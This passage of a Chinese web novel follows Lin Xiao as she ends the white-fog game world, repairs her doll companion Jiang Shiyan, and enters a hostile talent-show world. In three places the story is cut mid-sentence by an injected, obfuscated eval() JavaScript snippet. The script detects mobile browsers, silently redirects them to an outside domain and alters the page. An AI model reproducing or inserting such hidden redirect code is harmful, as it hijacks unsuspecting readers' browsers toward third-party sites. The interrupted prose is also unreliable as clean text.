但对方的说法，也符合玩家的一贯做法：自己的利益至高无上。 虽然进入游戏是一群又一群人同时进入，但最终的积分获得是属于个人的，想要获得各种道具或者积攒积分离开，也都是只与个人相关。 系统的种种规则也在悄无声息地促使玩家内斗。 所以她会被攻击，林筱不意外，甚至看到水桶被抢，她也能心平气和。 但已经成功拿到水桶的老大三人却已经觉得胜利在握。因为当他们将手握住水桶的柄上，身形逐渐开始卡顿。 不是被白雾抹除的卡顿，更像是退出白雾世界的那种。 林筱没把他们放在心上，就当做散财消灾，但老大他们却始终没有忘记林筱。 他们在白雾世界放了把火。 老大的道具是丝线，他的小弟们也有一些趁手的工具。其中一个人就有一枚无法熄灭的火种道具。 只要把火种放在任意地方，它就会无法控制地不断燃烧，直到毁灭这个世界。这个伤人伤己的道具他们平时也找不到机会使用，但现在恰好。 他们已经脱离白雾世界，而林筱他们却被困在这里。 他们只需要放一把火，然后在现实世界捡尸就行。 火焰灼烧湖泊，蒸腾的水汽形成白雾遮掩了双方的行迹。本体作为玩偶的姜时宴本身就是易燃物，再加上这个湖泊不仅不能破灭火反而促进火势，一下子就被点燃，成为第一个下场的人。 虽然姜时宴是林筱这边的人，她也很想说一句恶有恶报。 火势依旧在一点点逼近。 林筱挪动了一步，再次感觉到割裂般的疼痛。她下意识地收回脚，明白老大还在她的脚边布下丝线，作为第二重杀死她的保障。 局势不妙。 白烟内，细丝更好地隐藏了自己，林筱无法再像之前那样破阵，只能用自己的血涂抹出它的形状，跌跌撞撞地来到泉水边。 泉水消失的速度比她想象的还要快。偌大的湖泊如今只剩下一汪清潭般大小，露出如蛛网般干裂的地面。 这个泉水大概也不是水，不然滋润了那么久，这片土地也不会依旧干涸。甚至，它还可以被点燃。 林筱取出剩下的两个水桶，一头扎进潭水之中。 她感觉到自己的口鼻都被泉水充斥，溺水带来的窒息感让她不自觉地抽动手脚，却发现自己打在了一具□□之上。 □□？ 林筱睁开眼，躯体的沉重给予了她最鲜明的提示，她忍不住喘了口气。 她回到现实了，那其他人呢？ 还不等她开口询问，清洁部的负责人已经走了过来：“这次任务只有你回来了，白雾出现了什么异变？” 林筱扭头看向周围，看向他们原本商量好的站位。 她回来了，但其他人，都没有回来。他们被清洁部的其他工作人员牵着，如同稚童般模仿着其他人的行为。 白雾已经散去，皎洁的月光透过树荫照在人影之上，显露出深浅不一的层次。 而林筱的脚边，也出现了两桶泉水，不似白雾世界的清澈，反而有着丝丝缕缕的浑浊。 清洁部的负责人也看着这两桶水，皱眉。 “白雾会消失一段时间。”林筱大致讲述了他们可以说的经历，总结，“泉水被那些人烧没了，没有了泉水的依托，白雾没有形成的介质。” “但白雾不会永远消失。”负责人并没有高兴，他看着可以说是这个世界上最后两桶的泉水，“我们失了自保的工具。” 泉水会因为白雾的攻击失去效果，也会因为时间的流逝而蒸发失效。两桶水，甚至保全不了一栋大厦的人。 “只要你们想，你们可以让白雾无限推迟。” 只要推进世界的公平，就可以从源头上阻止白雾的生成。 负责人没有说话，林筱也没有说话。 让这个世界维持运行是他们世界自己的事情，对于林筱而言，她的任务完成了。 ［恭喜玩家完成副本白雾梦魇，系统评分结算中……玩家意识确认存在，游戏登出……］ 这场游戏终于也结束了。 62. 备考室 纯白的虚拟空间内，望不见尽头的书籍等待着主人的翻阅，安静得没有一丝人烟的气息。 而林筱就是此处唯一的活人，却不是唯一可以发出声响的存在。 [恭喜玩家结束关卡白日梦魇。] 系统的声音如期而至。 “姜时宴呢？”林筱看着那个虚无的存在，冷声询问。 理论上来说，玩家在所谓的游戏世界死亡后就会回到自己的这间备考室，直至永久消失。但姜时宴不是玩家，就算他再怎么灵动，也改变不了他只是林筱一个道具的事实。 一个道具不一定有很多次生存的机会。 本来林筱也没想让他死，但那场火来得出乎林筱的意料，她能做到只有护住她自己，也就顾不上姜时宴了。 如果可以，林筱愿意用一次游戏机会来换取姜时宴的生存，但能不能成还得看系统。 系统没有理会林筱的话，继续按照应有的流程播报： [玩家本次游戏成绩已结算： 职业选择：90分，入职考试：90分，在岗表现：70分。 游戏成绩百分制，60分及以上为合格。 凡各科目有一项不合格者，总体成绩视为不合格。恭喜玩家首次达成全部科目及格成就，奖励游戏积分100。] [玩家触发隐藏职业与任务，任务完成度：100%。 玩家触发隐藏职业成功。] [综合以上两项成绩，玩家本次测试成绩优异，保留两次游戏机会，给予玩家本次游戏奖励：积分×100。] ［玩家如有异议，慎重考虑后可向系统申请成绩复核。］ 前面的内容林筱早已熟悉，她唯一质疑的只有那最后的成绩。 “这次我不仅及格了，还完成了隐藏任务，怎么积分反而比上一次更少？”林筱看着空间的某一角，仿佛正与那未知存在对视。 [请玩家不要怀疑系统的公正性。游戏积分与游戏世界生存时间相关，玩家本次获得积分已经是两项成绩叠加后的结果。] 系统的话一如既往地冰冷，虽然没有给予林筱惩罚，但话语间已然透露着自己垃圾就不要怪分不高的鄙夷。 这份嫌弃，林筱接受了。 虽然她的质疑再一次被系统驳回，但她至少又发现一条重要信息。 虽然系统嘴上催着玩家完成它布置的基础任务，但事实上这个基础任务的重要性远低于林筱原本的预估。基础任务只是玩家通关的快捷通道，但它对积分的帮助接近于无。想要获得更高的积分，还是需要帮任务世界解决问题延长世界的寿命。 从这方面讲，她的低积分合情合理。但同理可得，其他玩家的积分也不可能更多。 林筱等待系统的下一步公告。 下一步，果然是姜时宴。 [玩家道具影子娃娃（姜时宴）已破损，玩家是否花费300积分修复？] 像是生怕林筱多花费积分般，系统难得好心地解释：[玩家也可选择恢复道具初始设置，只需花费30积分就可重新选择心仪的玩偶绑定者。] 林筱叹了口气。 虽然知道这个游戏就是奔着玩家的命去的，但她也没想到，系统就连这一点可能也不放过。 如果她没有记错，在上一个世界结束后系统播报过这个道具的剩余使用次数为零。而系统所提供的恢复初始设置大概率只是数据清零，而不是使用次数恢复。 也就是说，是她花积分帮这个游戏处理本应该回收的道具。 退一步讲，就算系统真的那么善良，她却不一定还能有机会使用这个道具。姜时宴当初能够和她绑定的原理还没有琢磨透，假设只是滴血认主，林筱也不敢肯定下一个合适的人选会不会是系统故意设下的圈套。 姜时宴是一把利刃，但只要使用得当就伤不到自己。更何况，在对付系统这一方面，他们还是能够达成共识的。 “请帮我修复它。” [嘀－玩家积分已扣除，道具：影子娃娃已修复。] 虽然系统的声音依旧毫无波动，但或许是心理因素的影响，林筱总觉得听出一丝遗憾。 或许是她的错觉，林筱垂下眼，毕竟在她的心里，系统可是一直占据最终敌人的地位没有动摇。所以她总是乐意以最恶劣的心态揣测它的意图。 系统提示音结束，平地上也出现了姜时宴的身影。 但不是完全的姜时宴。 和游戏里看到的姜时宴不同，或许是刚修复完成的原因，他浑身散发着一种奇异的非人质感，四肢软榻如同被棉花填充的假肢，肌肤更是呈现出一种棉布的纹理感。 林筱蹲下身，顺着衣服的线条往上，冷不丁就看见姜时宴突然睁开的双眼。 那不是属于正常人类的眼珠，纯黑无光，犹如一颗深不见底的玻璃珠子，透着瘆人的冷意。 但很快，属于姜时宴的温润眼神就取代了它，他眨了眨眼，对着自己的处境似乎早有预料般开口：“多谢主人的选择。” 林筱收回自己的眼神：“合作而已。” 只能说，作为一个将自己隐藏到最后的王府世子，姜时宴的确能屈能伸，演好每一个属于自己的角色。 林筱又瞥了他一眼，看向虚无的上空：“我要观看世界的结局。” [玩家观看72号世界结局，100积分已扣除。] 天幕泛起熟悉的波澜，无数的投影汇聚成一处，那是属于72号世界在他们干扰下的未来。 林筱没有选择任何一处放大，就着这数量繁多的投影加快了倍速播放。 泉水被焚烧殆尽后，白雾果然没有再在现实世界出现。但没有了白雾，世界依旧没有太大的变化。 阶级分层依旧明显，悬殊的贫富差距让社会在武力的强制下勉强保持和平。 但这种和平犹如被绷紧的丝线，稍有不慎就会断裂，造成更严重的后果。 在倍速的播放下，林筱看见逐渐浑浊的天空中再次出现熟悉的白色。 白雾，再现。 [恭喜玩家获得游戏道具：水桶 水桶：来自72号世界清洁部的内部工具，具有神奇的化幻象为实体的功能，能够捕捞人们不切实际的幻想，是游戏旅程中不错的解压工具。剩余使用次数5/5。] 虽然林筱猜到她可以拿到世界居民赠送的道具，但她以为会是旅舍的那些人，没想到最后是清洁部的人给予了她回馈。 不过这也正常，清除白雾本来就是清洁部的任务，林筱这一举可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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系统随随便便这么一句话，就多赚了50积分。但这还是一个卖家市场，完全无法讨价还价，想要知道只能按照系统的要价付出积分。 姜时宴没有犹豫地看向林筱：“我会为您赚回来。” 林筱深深看了他一眼，闭眼：“看。” 没有给林筱反悔的时间，她的话音刚落下，系统就已经将姜时宴那个世界的画面提取出来。 和他们预料的不同，那个未来竟然没有姜时宴的存在。 晋王长子早夭，活跃在京城众人面前的是晋王的庶长子。那个庶长子为了早日获得世子之位，自然早早就与皇帝勾结，出卖自己的父亲。但他又没有姜时宴的隐忍与步步谋划，成为皇帝第一个清算的人。 没有了姜时宴的从中作梗，妖兽的反扑人类根本无力抵抗，皇帝终究是为了自己的野心付出代价。 林筱看向姜时宴。 这个世界的结局，从某种意义上说，都是因为少了一个人。如果是有姜时宴的世界，如果没有林筱，那么很有可能56号就会成为由姜时宴统治的人类的世界。 看到自己的存在被磨灭的姜时宴没有难过，他看着林筱，微笑：“我也没有那么意外。” 他一直很冷静，但冷静又何尝不是一种格格不入。或许很早以前，他的直觉就在告诉他，他是个异类。 “以后，就要拜托主人收留了。” 63. 第三个世界1 “让我们欢迎第56号选手上台！” 激情澎湃的男声在圆形的场地内不断回荡，在介质的传播下导入林筱的耳内，穿越世界的混沌感还未来得及完全消退，来自外界的刺激已经迫不及待地逼近。 厚重的帘布被拉开，炫彩的灯光投射在林筱的脸上，近乎直刺她的双眼。泪水不受控制地在眼眶流动，却始终没有流出。 还没等林筱作出反应，机械的欢呼声突兀地响起，像是欢迎这位新人，也像是为她的狼狈欢呼。 舞台，灯光，摄像机，以及穿着礼服的主持人。 这些元素同时出现，林筱只能猜测现在她正在录制一档节目。但这个节目并不是真正利好节目选手，反而以他们的不堪为噱头。 就是不知道姜时宴会成为什么身份。 “让我们来看看56号选手的自我介绍。” 主持人激情澎湃的声音再次环绕这个并不宽敞的演播大厅，而在林筱的左侧，恰好能被选手看见字幕的巨幕上正循环播放着她的照片和自我介绍。 林筱，女，23岁，下城区公民，已接受基础教育。身体健康，父母双亡，无不良嗜好，擅长歌舞表演。 下城区公民，看似正常但又透着莫名奇怪的介绍。这是她之前没有见过的名词，单薄的笔画中透露着高高在上的傲慢。 看来系统又帮她挑了一个“好世界”。 林筱将目光短暂停留在歌舞表演四个字上，又很快移开视线。 林筱没有反应，不代表节目组没有反应。 巨幕展示了十几秒，确保观众能了解选手，尤其是选手能清楚自己的身份后，那股机械呆板的呼喊声再次响起。 毫无波澜起伏的叫声笑声与其说是对选手的鼓励，更像是一种轻蔑，还多了几分古怪瘆人。 林筱渐渐习惯了无处不在的灯光，垂眸瞥向台下。 不是这个节目组不想用真人声音，而是在这里，除了主持人和她，再也没有其他可以喘息的活物。 可以坐一千人的演播大厅空荡荡，只能看见红色的椅背在灯光的映衬下越发浓艳欲滴。无人操控的摄像机随着主持人的话语不断变化机位，只为呈现出更好的舞台效果。 而作为被关注的唯一焦点，林筱面无表情。 这一幕显然不符合主持人的预期，他将话筒怼在林筱的嘴前，不知道接触过多少人的金属材质撞击在她的唇上，以一种磕碎牙齿的力度：“作为一个下城区人，第一次看见舞台是一种什么样的感受呢？” [欢迎玩家进入游戏世界181。] [世界181为现代背景世界。 玩家身份为下城区出生的平民，正在参与一场全民选秀节目。请玩家通关选秀初考验，否则视为放弃此身份。 为提升玩家游戏体验，玩家可通过积分兑换相关资料与系统帮助，本次世界仅限使用一次。 本世界基础任务：入职任意职业并存活2周。 还有更多隐藏职业等待玩家的挖掘。 祝愿各位玩家都有完美的游戏体验。] 果然是选秀节目。 游戏世界里的主持人可不会等着系统说完才与林筱对话，他那张符合通俗意义英俊的浓妆脸庞上是明目张胆的恶意：“哈哈，我们的这位选手都不敢回答了。大概是第一次看见这么隆重的场面，不知道说些什么了吧？” 听着像是解围，但实际上却是拉低其他人对林筱的印象。这位主持人，可真是一点好事都不准备做啊。 难道是因为没给系统交足保护费，所以一开场就被分配到这么一个危险的角色上？ 进入这个游戏前，林筱和姜时宴做了一次尝试。她选择一积分的随机角色，而姜时宴则使用一百积分兑换了一个绑定角色，确保两人可以分配到同一阵营。 在姜时宴的那个世界，林筱随机得来的角色还不错。再加上当时成为秀才的人数并不少，所以林筱曾经以为这些不同积分的角色对通关的作用并不大。 但现在证明，那只是偶尔一次的运气爆发，开局遇险才是普通玩家最常遇到的状况。 他们需要时刻面对来自世界本土居民的恶意。 作为一名准艺人，如果回答害怕，那么她就不具备成为艺人应该有的心理素质。如果回答不害怕，那就是下了主持人的面子，甚至可能会的得罪不知道存不存在的上城区。 从主持人的态度和她的身份上看，林筱大致猜出这又是一个与白雾世界一样的阶级分化世界，不同城区的公民享受不同的待遇，而这场选秀就是下城区实现阶级跨越最快速的台阶。 所以面对主持人假装漫不经心递来的陷阱，林筱淡定地拨动主持人的手，将话筒固定在一个让她舒适的角度，仿佛他就是专门为她递话筒的工作人员：“我没有说话不是因为害怕，而是激动。因为，这里是我即将征服的舞台。” 所以，她选择得罪本来就对她没有善意的主持人。 热烈的机械欢呼声掩盖了主持人想要开口的话，他脸色发青，等到再次可以开口的时候已经错过了最佳的机会。 演播大厅的控制人和主持人不是一伙的，甚至他们可能还处于敌对状态。 林筱默默记下这一笔，微微抬颌看向主持人。 主持人毕竟经验十足，他很快调整好脸色，在镜头面前看不出任何差错：“很自信的说法。那么接下来就请我们的56号选手为我们带来精彩的表演，希望这个表演能够和这位选手的话一样征服这个舞台。 全民大选秀第六季，等待你的闪耀时刻！” “唰。” 帘布在林筱的身后被拉上，灯光蓦然暗淡，只留下一束直直照在林筱的身上，成为黑暗中唯一的光。 从目前看，这个世界除了人类之间的勾心斗角外没有其他危险的因素。包括最可能埋藏危机的黑暗也没有带给林筱任何危险的提示。 伴奏响起。 那是林筱陌生的旋律，是属于这个世界独有的歌曲。 虽然她清楚自己的旅程不会顺畅，但这一步一个坑的危险程度还是远超她的想象。如果刚开局就被人发现自己是个外来者，那这个杀机就太明显了。 一定有什么她没注意到的地方。 选手，主持人，导播。 林筱巡视周围一圈，果然瞥见主持人嘴角不易察觉地扬起。 主持人在笑。 既然她已经得罪了主持人，这个笑容反倒说明了什么。或许，这首歌不是她自己选择的歌曲，而是主持人故意让人播放的。 [玩家可消耗100积分获得歌曲提示。] 系统也发现了林筱的困境，第一时间发出交易申请。 “不用。”林筱在心中默念。 她现在有八成概率可以肯定，这首歌就是主持人故意捣乱调换的。其实主持人这么一弄反而帮助了她，这就代表她现在做什么都是合理的。 这也是系统为他们挑选的生路，只要足够冷静，就能观察出端倪。 林筱自然选择将计就计。 在急促的歌曲中，林筱淡定地表演着诗朗诵。 镜头直接怼到她的面前，毫无瑕疵的脸庞在镜头前放大，看不见计划被打乱的无措。 一旁的主持人也没有失望。 虽然没看到这个选手绝望的模样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073118|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但现在这个出格的表演也基本断定她无法顺利出道。 果然，就在林筱结束表演后，一个被电子模糊的声音就迫不及待地出现：“你是怎么想到会用这种演绎方式来诠释这首诗词、这首歌？” 其实林筱也不确定这首诗词在这个世界会不会存在。但即使是不同的世界，在相似的文化背景下总会巧合地出现相近的文化，哪怕他们不是平行世界。 现在看来，很巧，这首诗词在这个世界出现过，所以她不需要再解释一遍它的意思，强行塑造一个诗词大家的人设。 林筱快速回忆一遍刚才的歌曲，即兴做了一篇阅读理解：“这首词是出自古代词曲大家之手，表达的正是闺阁女子哀怨彷徨的心情。随着歌曲副歌部分的进入，这份彷徨无助发散到极致……正是这词与曲的完美结合，这才让我选择了这一别出心裁的表演方式。” 林筱的说辞说动了这位评委，他选择了通过。 在林筱的头顶，悬浮在上方的三块电子屏中出现了一个红色的通过。 第二个出现的评委采用的也是虚拟声音，电子合成的青年男声听上去温文尔雅，很好说话：”你喜欢这个节目吗？“ 就连问题都跟他的声音一般温和，仿佛只需要随便糊弄一下就可以通过的模样。 但林筱不信。 说实话，自从她连续三次通关通关并拿到隐藏职业后，她就一直觉得系统会在她之后的旅程中下黑手。 像一开始就会送她一个好心人的操作，除非系统短路，不然就绝对不可能发生。 林筱看了眼主持人。 主持人此刻也在震惊之中。他没想到这个选手居然那么轻而易举地就获得了评委的喜爱，但庆幸的是，这位选手还不懂得讨好评委。 这可不符合主持人的预期。 他几乎是迫不及待地接过话茬：”会来参加我们节目的选手怎么可能不爱我们节目呢？为了展现更好的舞台效果，56号选手甚至重新编排了节目，就为了给大家一个全新的体验。“ 林筱瞥了主持人一眼，他在暗示林筱为出风头故意更换节目。 但这是好事，这意味着他们至少不是一个立场上的人。 “我喜欢这个节目，它会为我带来更多的机会。”系统虽然坏，但面子工程一向做得很好，它把人投放在这里，就意味着这里肯定有他们需要的信息。 没有让林筱久等，第二个红灯亮起。 两个红色的通过已经将林筱送进了待选区，但如果集齐三个通过，那就意味着林筱会直接入选。 主持人的脸色已经开始不受控制地转为阴沉。他不需要一个会挑战他权威的、不听话的选手，尤其当她还很有评委缘的时候。 但评委可不在乎一个主持人的想法。 依旧是一个电子合成的声音，但格外粗犷的声线展现出这位评委独特的品味：“既然前面两个都通过了，我也不做那个恶人。这期节目第一个直选就是你了，我很期待你之后的表演。” 第三个红灯亮起。 三个红色的通过挂在林筱的头上，鲜红的颜色照在她的脸上，看不见喜庆，只觉得晦暗血腥。 “那就让我们恭喜56号选手成功通过我们全民大选秀第六季的初赛，同时也让我们期待她之后会给我们带来更多精彩的节目！” 林筱最后看了一眼主持人，却只见他对着她露出一个意味不明的笑容。 林筱垂眼，在工作人员的引领下离开舞台。 刚进入游戏就为自己迎来了一个敌人，如果要问林筱后不后悔，她只会说不会。 毕竟成功者的路上，总要踏过失败者的遗骸。 64. 第三个世界2 如果说前面的舞台步步惊心，那么节目组的后台就是另一种意义上的热闹。 从舞台走下后步行几十米，就能看见一扇半掩的房门，房门旁挂着“候等室（二）”的牌子，房门上还有一张小纸条。推开门，本来还算宽敞的房间因为里面密密麻麻的人群而显得拥挤逼仄。 林筱是第56号选手，第二天场上午的第一位登场选手。而她所在的后台候等室还坐着五十几个人，都是还没来得及上场的选手。 这些人高矮胖瘦各不相同，唯一一致的大概也只有难以掩饰的贫穷。 包括林筱在内，即使他们极力掩饰，但依旧可以从不安的神色和并不贴身的衣服中看出他们之前的经济条件并不如意，只是为了上节目才打扮一番。 再联想到主持人那戏弄般的态度，林筱只能怀疑这是一档娱乐向的节目。 用底层人民的窘迫娱乐上层人物的低俗乐趣。 看到林筱进来，房间内有一瞬间的安静。 “58号选手可以出来了。”领着林筱走过来的工作人员面无表情地开口，漠然地带着一个容貌姣美的女子走了出去。 房间内总算多了一个落脚的位置。 候等室恢复了之前热闹的景象，但即使所有人都在用余光关注着林筱的动静，却始终没有人愿意当这个出头鸟。 所以乍一眼看去，就像所有人孤立了林筱一般。 不过林筱也并不在意。 如果她想要在这场选秀通关，必然要和这里的人竞争，她会想要竞争对手的信息。但她只想把这里当做跳板，并不需要名次，就更不需要和这里的人建立联系。 而且，姜时宴不在这里。 从来到这个世界到现在，她都没有发现和姜时宴有关的信息。难不成又跟上个世界一样，他们在不同的阵营里？ “我的道具信息。” 林筱垂下眼，无声地询问系统。 合理的咨询系统不能拒绝，它也不需要拒绝： [影子娃娃（姜时宴）：7号世界人物林洛所赠，已绑定56号世界人物姜时宴。剩余使用次数0/1，耐久度70/100。当前身份：临时艺人经纪人。] [只需要消耗一百积分，玩家就可与道具建立临时联络通道。]系统不忘见缝插针地刺激玩家消费，[是否建立？] [不需要。]林筱立马回绝。 临时艺人经纪人。 林筱有理由怀疑，姜时宴会在之后负责她们的演绎工作，甚至他工作的内容就是这档节目。 如果是这样，她就需要在这个节目多待一段时间了。只要她坚持下去，她总能看见姜时宴的。 但林筱不急，总有人急。 57号已经上台，58号还在外面候场，而在后台的59、60号就是此刻房间内最急迫想要从林筱口中提前得知节目信息的人了。 所以当这两个人从人群中跳出来时，所有人都默契地保持着沉默。 “你好。” 他们一左一右地堵住林筱的路，从动作的默契度来看，他们俩早就已经认识。 林筱点了点头，维持在一个不热络也不冷淡的态度。 他们也不在意林筱的态度。 林筱能回来，在很多人眼中她就已经成功了。 就像林筱猜的一样，这是一档选秀节目，一档专门针对中、下城区的平民设立的节目。和宽泛的海选条件不同，真正上节目后，第一场选拔赛的淘汰率有惊人的50：1。 对于大多数人而言，没有在第一场选拔赛被丢出节目就已经是一种胜利。而林筱这种顺利返回候等室的，最差的成绩也是等待下一步选拔。 所以从她口中肯定能得到更多与评委喜好有关的消息。 这也是他们所有人的目的。 59、60号自以为不留痕迹地打量着林筱。 说实话，林筱的样子在这场选秀中并不占优势。她虽然可以称得上好看，但这种温婉清秀的气质在选秀中并不能在短时间内吸引更多人的注意。 按照这档节目一贯的风格，他们更在瞬间夺人耳目的表演，除非这届评委有独特的喜好，或者，林筱的表演有巨大的反差感。 所以，他们需要从林筱口中判断如今是哪种情况。 他们评估着林筱，而林筱也在评估他们。 虽然她已经习惯系统把他们扔在一无所知的世界，但和之前不同，这次她处于一种封闭的场合之中，所有接触的人都是和一档节目相关。 更重要的是，她现在接触的人不是抱有恶意的主持人，就是互为竞争关系的对手，以及根本将他们视若无物的工作人员。想要从他们口中得到正确的消息，这个难度又比之前的几个世界大了许多。 林筱很难不怀疑这是系统在故意刁难她，可直觉又告诉她，她的运气不错，这场选秀很重要。 只是无论林筱怎么看，她都觉得这只是一档充满低级趣味的选秀，所以她需要新的突破口。 这两个人，就是送上门的信息来源。 “你也是下城区来的吧。”他们选择一个绝对正确的话题，哪怕这个话题正确到几乎是废话。 选秀分为上午和下午两场。 上午场的选手全部来自下城区，用来消耗评委们的热情。等到下午场时，疲乏的评委们就不会再提出各式各样的要求折腾选手，让来自中城区的平民平稳过渡。 也因此，下午场的通过率会更高一些。 说白了，他们这些数量众多的下城区平民就是这场选秀安抚评委的消耗品，真正的目的就是为了让部分中城区平民合理上位。 这一点，在场的选手们都心知肚明，但他们图的也就是从中城区平民手下漏出的那一两个名额。 所以比起下午场的节目，上午场的选手们更会为了吸引评委的注意用尽各种办法。 这也是评委们的乐子之一。 但这些，林筱都不知道，她只能根据目前得到的信息合理推测：“有谁不是下城区的吗？” 话虽然被挑了回来，但至少双方交流上了。他们神色轻松了些，笑着对视了眼：“哈哈哈，我们说了句废话。但没办法，谁让这里就是逃离下城区的唯一捷径，我们想不来也难。” 唯一捷径，不是唯一路径。这也就意味着，即使林筱放弃这次选秀也依旧有机会进入上城区。 这也是林筱目前得到的最好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073119|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息之一。 她将耳边垂下的黑色长发挽在耳后，声音散漫：“来了，也是白来。” 59和60对视一眼，眼中不由地浮现出寻到突破口的兴奋。 比起毫无兴趣的开口，现在这种带有情绪化的表达反而透露出她的表达欲。只要他们引导得好，就能问出和选秀评委有关的内容。 “也不能那么说，”其中一个人眨了眨眼，“只要被留下来了，希望就更大了一分。” 林筱哼了一声，没有回话。 他们眼中的兴奋愈加难以掩饰：“在反对节目组这一点上，我们肯定是同一阵营的。这个节目组就是不做人，但我们相信你是不一样的，所以我们才会特意来找你。 “我们应该联合起来对抗节目组。” 图穷匕见。 如果林筱真的只是一个普通的选手，或许她会对联合之后的美好景象心动。毕竟在这个选秀节目里，他们的对手很多，抱团是一个很好的自救方式。 但林筱不是，抱团只会阻拦她探索真相的步伐。 “这场选秀留给下城区的名额就只有那么点，和你们合作我有什么好处？”林筱头也没抬，“如果要合作，我不如去帮助那些一看就没希望的人，还能巩固一下我的出道位。” 一个很利己主义的说法，却恰恰吻合59和60两个人的心态。 因为他们也是这么想的。 但林筱把这些话说出口，他们反而松了口气，更加坚定了合作的想法：“我们可以交换信息。” 林筱知道，鱼上钩。 她既然不想出道纠缠在这个节目，可偏偏还留在这候场室装模作样，就是为了骗出一些藏在选手中的隐藏消息。 系统送上门的消息未必虚假，可这些遮遮掩掩的消息必然有用。 太轻易送出的消息反而显得廉价，林筱没有一口答应，反而警惕地看着他们：“我怎么知道你们的消息值不值得？要是你们把我的消息骗走又不给我有价值的信息怎么办？” 越是这样，他们越不会怀疑这是林筱给他们下的套，反而会为了得到林筱口中评委的喜好而努力证明自己：“我们知道这次选秀和之前不同的地方。” “嗯？”林筱微挑眉。 “这次节目组为每一个通过第一次选拔的选手都提供一位临时经纪人。我们可以通过经纪人和外界沟通，选得选票，进入最终环节。”他们还是先将自己的消息透露出来，但还是保留最重要的一部分，“我们知道哪些经纪人势力强悍。” 这个消息，林筱的确感兴趣。 “主持人换了我的歌，所以我表演了诗朗诵。” 59和60号都沉默了，大概也是没想到这些评委有如此特殊的爱好。但这么奇怪的事情，绝对就是真实的。 “等我们通过这一次比赛，我们……” 门突然被打开，”咚“的一声，一个人形的重物被抛掷在等候室光滑的地面上。周围的人纷纷避让，但还是不可避免地沾染上血迹，污染了准备许久的演出服。 但没有人敢出声抱怨。 因为扔的人是节目组的工作人员，而被扔的，就是前不久出去，本应该在表演的57号。 65. 第三个世界3 理论上，现在还处于57号的表演时间。 候等室的隔音很好，好到他们完全无法感知到外界的动静，只能听见彼此突然急促的呼吸声。 没有人知道发生了什么，但恐惧摄取了他们所有思考的能力，让他们站在原地，呆若木鸡。 林筱低着头，眼角的余光观察着那个浑身沾满血渍的男人。 也就是57号。 和满屋子的俊男美女不同，57号的样貌甚至不能说是普通，只能用猥琐来形容。如果不是当时海选的考官审美异常，那就只能证明这是一个用着自己外貌进入游戏的玩家。 但一个玩家，会这么弱？ 也不是没有可能，毕竟上一个世界的那些玩家就都是垃圾。 林筱没有掉以轻心。 致命伤，没有。57号的伤口主要集中在四肢关节处，看着凄惨，却没有生命之忧。比起伤害，更像是警告。 这才露面就得罪选秀的工作人员，的确是那些自负的玩家会做得出来的事情。 果然，把57号扔进候等室的英俊工作人员面无表情地扫视房间内的一圈人：“如果还有人想在节目里做小动作，他就是下场。” 所有人都像个木头人一样在原地罚站，除了林筱。 她向前迈了一步，正好将自己突显在人群外，足够被工作人员看在眼里：“我能知道他做了什么吗？” 房间内的呼吸乱了一瞬，显然，所有选手都在为林筱的胆大而震惊。 但林筱也有自己的想法。 从主持人就可以看出，虽然这里的工作人员对他们这些选手饱含恶意，但所做出的行为却也被限制在自己的职责范围内。只要她没有违反规定，这里的工作人员就只能按照要求办事。 退一步讲，她现在的身份是已经通过第一轮考核的选手。虽然他们同处一间候等室，但他们之间的身份已经有了差别。很大概率，这个工作人员是无法管理她的。 如果把她驱逐出这场选秀，他们就很难对评委交代。 最差的结果也不过是退出比赛。 但这场选秀本身就不是她自愿参加的，退出后她还可以选择别的方式了解这个世界，未尝不是一个更优选择。 所以林筱敢说，也只有她会说。 “他用舞蹈动作向评委传递违规信息，被发现了。”没有呵斥，没有不耐烦，工作人员甚至向林筱笑了一下。 当来自四面八方的目光几乎要将她灼烧出火光时，林筱清楚，她又被这里的工作人员阴了。 虽然工作人员不能直接对选手动手，但挑拨其他选手还是轻而易举的。 一个问题而已，他明明可以选择不回答，却偏要用这种方式回应，这已经能说明问题了。 工作人员无法拒绝选手在他工作期间合理的要求，哪怕这个要求违背他本人的意志。 但这个简单的问题怎么就让他不快了？就因为林筱增加了他的工作量？ 所以这个回答的重点，其实就在于最后一句。 被发现了。 这才是这场选秀的关键。 不是不可以作弊，而是作弊的手段不能被发现。 林筱不知道房间里有多少人能意会到工作人员的意思，但看着其中一些人脸上的跃跃欲试，想来不会是少数。 “谢谢您的解答，我没问题了。”虽然被报复了一下，但工作人员也的确解答了她的问题，适当的客气更有助于他们关系的和谐。 工作人员脸上的笑容弧度都真实了一点。 “还有人有问题吗？”工作人员环视一周，没再有人敢开口，满意地点了点头，“59，60号选手可以出来了。” 就站在不远处的两人对视一眼，走了出来。 “走吧。”工作人员看也没看他们俩，也完全不在乎是否有人冒认，径自离开候等室。 工作人员可以懈怠，选手却不敢。 59、60号小步快走，紧随他的身后，随着房门紧闭，再也看不见他们的身影。 房间内再次响起微弱的讨论声，只有57号依旧在地面苟延残喘。 林筱蹲在他的身边：“需要帮你叫医生吗？” 